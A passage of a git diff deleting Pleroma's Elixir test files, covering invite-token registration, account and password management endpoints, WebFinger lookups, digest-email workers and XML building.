UserInviteToken.create_invite() - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - end - - test "returns error on invalid token" do - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => "DudeLetMeInImAFairy" - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Invalid token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on expired token" do - {:ok, invite} = UserInviteToken.create_invite() - UserInviteToken.update_invite!(invite, used: true) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - describe "registers with date limited token" do - setup do: clear_config([:instance, :registrations_open], false) - - setup do - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees" - } - - check_fn = fn invite -> - data = Map.put(data, :token, invite.token) - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("vinny") - end - - {:ok, data: data, check_fn: check_fn} - end - - test "returns user on success", %{check_fn: check_fn} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) - - check_fn.(invite) - - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - - test "returns user on token which expired tomorrow", %{check_fn: check_fn} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)}) - - check_fn.(invite) - - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - - test "returns an error on overdue date", %{data: data} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)}) - - data = Map.put(data, "token", invite.token) - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("vinny") - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - end - - describe "registers with reusable token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success, after him registration fails" do - {:ok, invite} = UserInviteToken.create_invite(%{max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 99) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - describe "registers with reusable date limited token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success" do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - refute invite.used - end - - test "error after max uses" do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 99) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on overdue date" do - {:ok, invite} = - UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on with overdue date and after max" do - {:ok, invite} = - UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 100) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - test "it returns the error on registration problems" do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "close the world." - } - - {:error, error} = TwitterAPI.register_user(data) - - assert is_binary(error) - refute User.get_cached_by_nickname("lain") - end - - setup do - Supervisor.terminate_child(Pleroma.Supervisor, Cachex) - Supervisor.restart_child(Pleroma.Supervisor, Cachex) - :ok - end -end diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs deleted file mode 100644 index 60f2fb052..000000000 --- a/test/web/twitter_api/util_controller_test.exs +++ /dev/null @@ -1,437 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - - import Pleroma.Factory - import Mock - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance]) - setup do: clear_config([:frontend_configurations, :pleroma_fe]) - - describe "PUT /api/pleroma/notification_settings" do - setup do: oauth_access(["write:accounts"]) - - test "it updates notification settings", %{user: user, conn: conn} do - conn - |> put("/api/pleroma/notification_settings", %{ - "block_from_strangers" => true, - "bar" => 1 - }) - |> json_response(:ok) - - user = refresh_record(user) - - assert %Pleroma.User.NotificationSetting{ - block_from_strangers: true, - hide_notification_contents: false - } == user.notification_settings - end - - test "it updates notification settings to enable hiding contents", %{user: user, conn: conn} do - conn - |> put("/api/pleroma/notification_settings", %{"hide_notification_contents" => "1"}) - |> json_response(:ok) - - user = refresh_record(user) - - assert %Pleroma.User.NotificationSetting{ - block_from_strangers: false, - hide_notification_contents: true - } == user.notification_settings - end - end - - describe "GET /api/pleroma/frontend_configurations" do - test "returns everything in :pleroma, :frontend_configurations", %{conn: conn} do - config = [ - frontend_a: %{ - x: 1, - y: 2 - }, - frontend_b: %{ - z: 3 - } - ] - - Config.put(:frontend_configurations, config) - - response = - conn - |> get("/api/pleroma/frontend_configurations") - |> json_response(:ok) - - assert response == Jason.encode!(config |> Enum.into(%{})) |> Jason.decode!() - end - end - - describe "/api/pleroma/emoji" do - test "returns json with custom emoji with tags", %{conn: conn} do - emoji = - conn - |> get("/api/pleroma/emoji") - |> json_response(200) - - assert Enum.all?(emoji, fn - {_key, - %{ - "image_url" => url, - "tags" => tags - }} -> - is_binary(url) and is_list(tags) - end) - end - end - - describe "GET /api/pleroma/healthcheck" do - setup do: clear_config([:instance, :healthcheck]) - - test "returns 503 when healthcheck disabled", %{conn: conn} do - Config.put([:instance, :healthcheck], false) - - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(503) - - assert response == %{} - end - - test "returns 200 when healthcheck enabled and all ok", %{conn: conn} do - Config.put([:instance, :healthcheck], true) - - with_mock Pleroma.Healthcheck, - system_info: fn -> %Pleroma.Healthcheck{healthy: true} end do - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(200) - - assert %{ - "active" => _, - "healthy" => true, - "idle" => _, - "memory_used" => _, - "pool_size" => _ - } = response - end - end - - test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do - Config.put([:instance, :healthcheck], true) - - with_mock Pleroma.Healthcheck, - system_info: fn -> %Pleroma.Healthcheck{healthy: false} end do - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(503) - - assert %{ - "active" => _, - "healthy" => false, - "idle" => _, - "memory_used" => _, - "pool_size" => _ - } = response - end - end - end - - describe "POST /api/pleroma/disable_account" do - setup do: oauth_access(["write:accounts"]) - - test "with valid permissions and password, it disables the account", %{conn: conn, user: user} do - response = - conn - |> post("/api/pleroma/disable_account", %{"password" => "test"}) - |> json_response(:ok) - - assert response == %{"status" => "success"} - ObanHelpers.perform_all() - - user = User.get_cached_by_id(user.id) - - assert user.deactivated == true - end - - test "with valid permissions and invalid password, it returns an error", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post("/api/pleroma/disable_account", %{"password" => "test1"}) - |> json_response(:ok) - - assert response == %{"error" => "Invalid password."} - user = User.get_cached_by_id(user.id) - - refute user.deactivated - end - end - - describe "POST /main/ostatus - remote_subscribe/2" do - setup do: clear_config([:instance, :federating], true) - - test "renders subscribe form", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post("/main/ostatus", %{"nickname" => user.nickname, "profile" => ""}) - |> response(:ok) - - refute response =~ "Could not find user" - assert response =~ "Remotely follow #{user.nickname}" - end - - test "renders subscribe form with error when user not found", %{conn: conn} do - response = - conn - |> post("/main/ostatus", %{"nickname" => "nickname", "profile" => ""}) - |> response(:ok) - - assert response =~ "Could not find user" - refute response =~ "Remotely follow" - end - - test "it redirect to webfinger url", %{conn: conn} do - user = insert(:user) - user2 = insert(:user, ap_id: "shp@social.heldscal.la") - - conn = - conn - |> post("/main/ostatus", %{ - "user" => %{"nickname" => user.nickname, "profile" => user2.ap_id} - }) - - assert redirected_to(conn) == - "https://social.heldscal.la/main/ostatussub?profile=#{user.ap_id}" - end - - test "it renders form with error when user not found", %{conn: conn} do - user2 = insert(:user, ap_id: "shp@social.heldscal.la") - - response = - conn - |> post("/main/ostatus", %{"user" => %{"nickname" => "jimm", "profile" => user2.ap_id}}) - |> response(:ok) - - assert response =~ "Something went wrong." - end - end - - test "it returns new captcha", %{conn: conn} do - with_mock Pleroma.Captcha, - new: fn -> "test_captcha" end do - resp = - conn - |> get("/api/pleroma/captcha") - |> response(200) - - assert resp == "\"test_captcha\"" - assert called(Pleroma.Captcha.new()) - end - end - - describe "POST /api/pleroma/change_email" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/change_email") - - assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and invalid password", %{conn: conn} do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "hi", - "email" => "test@test.com" - }) - - assert json_response(conn, 200) == %{"error" => "Invalid password."} - end - - test "with proper permissions, valid password and invalid email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "foobar" - }) - - assert json_response(conn, 200) == %{"error" => "Email has invalid format."} - end - - test "with proper permissions, valid password and no email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test" - }) - - assert json_response(conn, 200) == %{"error" => "Email can't be blank."} - end - - test "with proper permissions, valid password and blank email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "" - }) - - assert json_response(conn, 200) == %{"error" => "Email can't be blank."} - end - - test "with proper permissions, valid password and non unique email", %{ - conn: conn - } do - user = insert(:user) - - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => user.email - }) - - assert json_response(conn, 200) == %{"error" => "Email has already been taken."} - end - - test "with proper permissions, valid password and valid email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "cofe@foobar.com" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - end - end - - describe "POST /api/pleroma/change_password" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/change_password") - - assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and invalid password", %{conn: conn} do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "hi", - "new_password" => "newpass", - "new_password_confirmation" => "newpass" - }) - - assert json_response(conn, 200) == %{"error" => "Invalid password."} - end - - test "with proper permissions, valid password and new password and confirmation not matching", - %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "newpass", - "new_password_confirmation" => "notnewpass" - }) - - assert json_response(conn, 200) == %{ - "error" => "New password does not match confirmation." - } - end - - test "with proper permissions, valid password and invalid new password", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "", - "new_password_confirmation" => "" - }) - - assert json_response(conn, 200) == %{ - "error" => "New password can't be blank." - } - end - - test "with proper permissions, valid password and matching new password and confirmation", %{ - conn: conn, - user: user - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "newpass", - "new_password_confirmation" => "newpass" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - fetched_user = User.get_cached_by_id(user.id) - assert Pbkdf2.verify_pass("newpass", fetched_user.password_hash) == true - end - end - - describe "POST /api/pleroma/delete_account" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/delete_account") - - assert json_response(conn, 403) == - %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and wrong or missing password", %{conn: conn} do - for params <- [%{"password" => "hi"}, %{}] do - ret_conn = post(conn, "/api/pleroma/delete_account", params) - - assert json_response(ret_conn, 200) == %{"error" => "Invalid password."} - end - end - - test "with proper permissions and valid password", %{conn: conn, user: user} do - conn = post(conn, "/api/pleroma/delete_account", %{"password" => "test"}) - ObanHelpers.perform_all() - assert json_response(conn, 200) == %{"status" => "success"} - - user = User.get_by_id(user.id) - assert user.deactivated == true - assert user.name == nil - assert user.bio == "" - assert user.password_hash == nil - end - end -end diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs deleted file mode 100644 index 21e518236..000000000 --- a/test/web/uploader_controller_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.UploaderControllerTest do - use Pleroma.Web.ConnCase - alias Pleroma.Uploaders.Uploader - - describe "callback/2" do - test "it returns 400 response when process callback isn't alive", %{conn: conn} do - res = - conn - |> post(uploader_path(conn, :callback, "test-path")) - - assert res.status == 400 - assert res.resp_body == "{\"error\":\"bad request\"}" - end - - test "it returns success result", %{conn: conn} do - task = - Task.async(fn -> - receive do - {Uploader, pid, conn, _params} -> - conn = - conn - |> put_status(:ok) - |> Phoenix.Controller.json(%{upload_path: "test-path"}) - - send(pid, {Uploader, conn}) - end - end) - - :global.register_name({Uploader, "test-path"}, task.pid) - - res = - conn - |> post(uploader_path(conn, :callback, "test-path")) - |> json_response(200) - - assert res == %{"upload_path" => "test-path"} - end - end -end diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs deleted file mode 100644 index 8dbbd18b4..000000000 --- a/test/web/views/error_view_test.exs +++ /dev/null @@ -1,36 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ErrorViewTest do - use Pleroma.Web.ConnCase, async: true - import ExUnit.CaptureLog - - # Bring render/3 and render_to_string/3 for testing custom views - import Phoenix.View - - test "renders 404.json" do - assert render(Pleroma.Web.ErrorView, "404.json", []) == %{errors: %{detail: "Page not found"}} - end - - test "render 500.json" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "500.json", []) == - %{errors: %{detail: "Internal server error", reason: "nil"}} - end) =~ "[error] Internal server error: nil" - end - - test "render any other" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "505.json", []) == - %{errors: %{detail: "Internal server error", reason: "nil"}} - end) =~ "[error] Internal server error: nil" - end - - test "render 500.json with reason" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "500.json", reason: "test reason") == - %{errors: %{detail: "Internal server error", reason: "\"test reason\""}} - end) =~ "[error] Internal server error: \"test reason\"" - end -end diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs deleted file mode 100644 index 0023f1e81..000000000 --- a/test/web/web_finger/web_finger_controller_test.exs +++ /dev/null @@ -1,94 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do - use Pleroma.Web.ConnCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - - test "GET host-meta" do - response = - build_conn() - |> get("/.well-known/host-meta") - - assert response.status == 200 - - assert response.resp_body == - ~s(<?xml version="1.0" encoding="UTF-8"?><XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0"><Link rel="lrdd" template="#{ - Pleroma.Web.base_url() - }/.well-known/webfinger?resource={uri}" type="application/xrd+xml" /></XRD>) - end - - test "Webfinger JRD" do - user = insert(:user) - - response = - build_conn() - |> put_req_header("accept", "application/jrd+json") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - - assert json_response(response, 200)["subject"] == "acct:#{user.nickname}@localhost" - end - - test "it returns 404 when user isn't found (JSON)" do - result = - build_conn() - |> put_req_header("accept", "application/jrd+json") - |> get("/.well-known/webfinger?resource=acct:jimm@localhost") - |> json_response(404) - - assert result == "Couldn't find user" - end - - test "Webfinger XML" do - user = insert(:user) - - response = - build_conn() - |> put_req_header("accept", "application/xrd+xml") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - - assert response(response, 200) - end - - test "it returns 404 when user isn't found (XML)" do - result = - build_conn() - |> put_req_header("accept", "application/xrd+xml") - |> get("/.well-known/webfinger?resource=acct:jimm@localhost") - |> response(404) - - assert result == "Couldn't find user" - end - - test "Sends a 404 when invalid format" do - user = insert(:user) - - assert capture_log(fn -> - assert_raise Phoenix.NotAcceptableError, fn -> - build_conn() - |> put_req_header("accept", "text/html") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - end - end) =~ "no supported media type in accept header" - end - - test "Sends a 400 when resource param is missing" do - response = - build_conn() - |> put_req_header("accept", "application/xrd+xml,application/jrd+json") - |> get("/.well-known/webfinger") - - assert response(response, 400) - end -end diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs deleted file mode 100644 index 96fc0bbaa..000000000 --- a/test/web/web_finger/web_finger_test.exs +++ /dev/null @@ -1,116 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebFingerTest do - use Pleroma.DataCase - alias Pleroma.Web.WebFinger - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "host meta" do - test "returns a link to the xml lrdd" do - host_info = WebFinger.host_meta() - - assert String.contains?(host_info, Pleroma.Web.base_url()) - end - end - - describe "incoming webfinger request" do - test "works for fqns" do - user = insert(:user) - - {:ok, result} = - WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML") - - assert is_binary(result) - end - - test "works for ap_ids" do - user = insert(:user) - - {:ok, result} = WebFinger.webfinger(user.ap_id, "XML") - assert is_binary(result) - end - end - - describe "fingering" do - test "returns error for nonsensical input" do - assert {:error, _} = WebFinger.finger("bliblablu") - assert {:error, _} = WebFinger.finger("pleroma.social") - end - - test "returns error when fails parse xml or json" do - user = "invalid_content@social.heldscal.la" - assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user) - end - - test "returns the ActivityPub actor URI for an ActivityPub user" do - user = "framasoft@framatube.org" - - {:ok, _data} = WebFinger.finger(user) - end - - test "returns the ActivityPub actor URI for an ActivityPub user with the ld+json mimetype" do - user = "kaniini@gerzilla.de" - - {:ok, data} = WebFinger.finger(user) - - assert data["ap_id"] == "https://gerzilla.de/channel/kaniini" - end - - test "it work for AP-only user" do - user = "kpherox@mstdn.jp" - - {:ok, data} = WebFinger.finger(user) - - assert data["magic_key"] == nil - assert data["salmon"] == nil - - assert data["topic"] == nil - assert data["subject"] == "acct:kPherox@mstdn.jp" - assert data["ap_id"] == "https://mstdn.jp/users/kPherox" - assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}" - end - - test "it works for friendica" do - user = "lain@squeet.me" - - {:ok, _data} = WebFinger.finger(user) - end - - test "it gets the xrd endpoint" do - {:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la") - - assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}" - end - - test "it gets the xrd endpoint for hubzilla" do - {:ok, template} = WebFinger.find_lrdd_template("macgirvin.com") - - assert template == "https://macgirvin.com/xrd/?uri={uri}" - end - - test "it gets the xrd endpoint for statusnet" do - {:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com") - - assert template == "http://status.alpicola.com/main/xrd?uri={uri}" - end - - test "it works with idna domains as nickname" do - nickname = "lain@" <> to_string(:idna.encode("zetsubou.みんな")) - - {:ok, _data} = WebFinger.finger(nickname) - end - - test "it works with idna domains as link" do - ap_id = "https://" <> to_string(:idna.encode("zetsubou.みんな")) <> "/users/lain" - {:ok, _data} = WebFinger.finger(ap_id) - end - end -end diff --git a/test/workers/cron/digest_emails_worker_test.exs b/test/workers/cron/digest_emails_worker_test.exs deleted file mode 100644 index 65887192e..000000000 --- a/test/workers/cron/digest_emails_worker_test.exs +++ /dev/null @@ -1,54 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.DigestEmailsWorkerTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do: clear_config([:email_notifications, :digest]) - - setup do - Pleroma.Config.put([:email_notifications, :digest], %{ - active: true, - inactivity_threshold: 7, - interval: 7 - }) - - user = insert(:user) - - date = - Timex.now() - |> Timex.shift(days: -10) - |> Timex.to_naive_datetime() - - user2 = insert(:user, last_digest_emailed_at: date) - {:ok, _} = User.switch_email_notifications(user2, "digest", true) - CommonAPI.post(user, %{status: "hey @#{user2.nickname}!"}) - - {:ok, user2: user2} - end - - test "it sends digest emails", %{user2: user2} do - Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) - # Performing job(s) enqueued at previous step - ObanHelpers.perform_all() - - assert_received {:email, email} - assert email.to == [{user2.name, user2.email}] - assert email.subject == "Your digest from #{Pleroma.Config.get(:instance)[:name]}" - end - - test "it doesn't fail when a user has no email", %{user2: user2} do - {:ok, _} = user2 |> Ecto.Changeset.change(%{email: nil}) |> Pleroma.Repo.update() - - Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) - # Performing job(s) enqueued at previous step - ObanHelpers.perform_all() - end -end diff --git a/test/workers/cron/new_users_digest_worker_test.exs b/test/workers/cron/new_users_digest_worker_test.exs deleted file mode 100644 index 129534cb1..000000000 --- a/test/workers/cron/new_users_digest_worker_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.NewUsersDigestWorkerTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - alias Pleroma.Workers.Cron.NewUsersDigestWorker - - test "it sends new users digest emails" do - yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) - admin = insert(:user, %{is_admin: true}) - user = insert(:user, %{inserted_at: yesterday}) - user2 = insert(:user, %{inserted_at: yesterday}) - CommonAPI.post(user, %{status: "cofe"}) - - NewUsersDigestWorker.perform(%Oban.Job{}) - ObanHelpers.perform_all() - - assert_received {:email, email} - assert email.to == [{admin.name, admin.email}] - assert email.subject == "#{Pleroma.Config.get([:instance, :name])} New Users" - - refute email.html_body =~ admin.nickname - assert email.html_body =~ user.nickname - assert email.html_body =~ user2.nickname - assert email.html_body =~ "cofe" - assert email.html_body =~ "#{Pleroma.Web.Endpoint.url()}/static/logo.png" - end - - test "it doesn't fail when admin has no email" do - yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) - insert(:user, %{is_admin: true, email: nil}) - insert(:user, %{inserted_at: yesterday}) - user = insert(:user, %{inserted_at: yesterday}) - - CommonAPI.post(user, %{status: "cofe"}) - - NewUsersDigestWorker.perform(%Oban.Job{}) - ObanHelpers.perform_all() - end -end diff --git a/test/workers/scheduled_activity_worker_test.exs b/test/workers/scheduled_activity_worker_test.exs deleted file mode 100644 index f3eddf7b1..000000000 --- a/test/workers/scheduled_activity_worker_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.ScheduledActivityWorkerTest do - use Pleroma.DataCase - - alias Pleroma.ScheduledActivity - alias Pleroma.Workers.ScheduledActivityWorker - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup do: clear_config([ScheduledActivity, :enabled]) - - test "creates a status from the scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - user = insert(:user) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - scheduled_activity = - insert( - :scheduled_activity, - scheduled_at: naive_datetime, - user: user, - params: %{status: "hi"} - ) - - ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => scheduled_activity.id}}) - - refute Repo.get(ScheduledActivity, scheduled_activity.id) - activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id)) - assert Pleroma.Object.normalize(activity).data["content"] == "hi" - end - - test "adds log message if ScheduledActivity isn't find" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - - assert capture_log([level: :error], fn -> - ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => 42}}) - end) =~ "Couldn't find scheduled activity" - end -end diff --git a/test/xml_builder_test.exs b/test/xml_builder_test.exs deleted file mode 100644 index 059384c34..000000000 --- a/test/xml_builder_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.XmlBuilderTest do - use Pleroma.DataCase - alias Pleroma.XmlBuilder - - test "Build a basic xml string from a tuple" do - data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} - - expected_xml = "<feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "returns a complete document" do - data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} - - expected_xml = - "<?xml version=\"1.0\" encoding=\"UTF-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" - - assert XmlBuilder.to_doc(data) == expected_xml - end - - test "Works without attributes" do - data = { - :feed, - "Some content" - } - - expected_xml = "<feed>Some content</feed>" - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "It works with nested tuples" do - data = { - :feed, - [ - {:guy, "brush"}, - {:lament, %{configuration: "puzzle"}, "pinhead"} - ] - } - - expected_xml = - ~s[<feed><guy>brush</guy><lament configuration="puzzle">pinhead</lament></feed>] - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "Represents NaiveDateTime as iso8601" do - assert XmlBuilder.to_xml(~N[2000-01-01 13:13:33]) == "2000-01-01T13:13:33" - end - - test "Uses self-closing tags when no content is giving" do - data = { - :link, - %{rel: "self"} - } - - expected_xml = ~s[<link rel="self" />] - assert 